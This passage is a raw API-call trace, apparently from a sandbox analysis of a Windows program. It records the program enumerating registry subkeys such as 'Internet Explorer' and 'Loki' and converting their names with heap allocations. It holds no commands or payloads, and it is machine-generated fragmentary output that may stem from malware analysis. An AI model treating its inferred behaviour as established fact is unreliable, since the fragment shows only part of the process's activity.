Flags=0x8, Size=0x40) returned 0x119c120 [0187.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x119c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0187.945] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.946] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.946] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.946] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.946] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x119b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0187.946] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0187.946] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x119c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0187.946] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.946] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.946] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.946] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.946] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x119b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0187.946] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.946] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x119c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0187.946] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.946] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.946] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.946] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.946] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x119b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0187.946] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0187.946] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x119c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0187.946] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.946] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.946] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.946] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.946] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x119b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0187.946] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.946] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x119c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0187.946] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.946] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.947] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.947] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.947] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x119b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0187.947] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.947] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x119c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0187.947] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.947] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.947] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.947] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.947] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x119b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0187.947] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0187.947] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x119c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0187.947] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.947] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.947] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.947] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.947] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x119b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0187.947] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0187.947] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x119c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0187.947] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.947] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.947] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.947] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.947] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x119b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0187.947] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.947] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x119c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0187.947] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.947] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.947] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.947] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.948] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x119b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0187.948] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0187.948] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x119c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0187.948] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.948] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.948] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.948] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.948] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0x119b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0187.948] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.948] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x119c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0187.948] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.948] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.948] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.948] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.948] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0x119b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0187.948] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0187.948] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x119c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0187.948] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.948] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.948] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.948] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.948] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0x119b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0187.948] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0187.948] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x119c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0187.948] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.948] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.948] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.949] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.949] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0x119b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0187.949] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0187.949] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x119c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0187.949] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.949] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.949] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.949] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.949] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0x119b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0187.949] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0187.949] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x119c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0187.949] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.949] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.949] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.949] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.949] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0x119b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0187.949] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0187.949] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x119c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0187.949] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.949] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.949] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.949] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.949] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0x119b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0187.949] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0187.949] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x119c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0187.949] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.949] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.949] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.949] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.949] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0x119b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0187.950] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0187.950] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x119c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0187.950] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.950] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.950] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.950] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.950] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0x119b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0187.950] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0187.950] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x119c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0187.950] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.950] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.950] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.950] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.950] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0x119b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0187.950] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0187.950] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x119c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0187.950] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.950] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.950] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.950] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.950] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0x119b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0187.950] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0187.950] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x119c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0187.950] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0x119b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0187.950] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0x119b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0x119b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0x119b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0x119b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0x119b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0187.951] 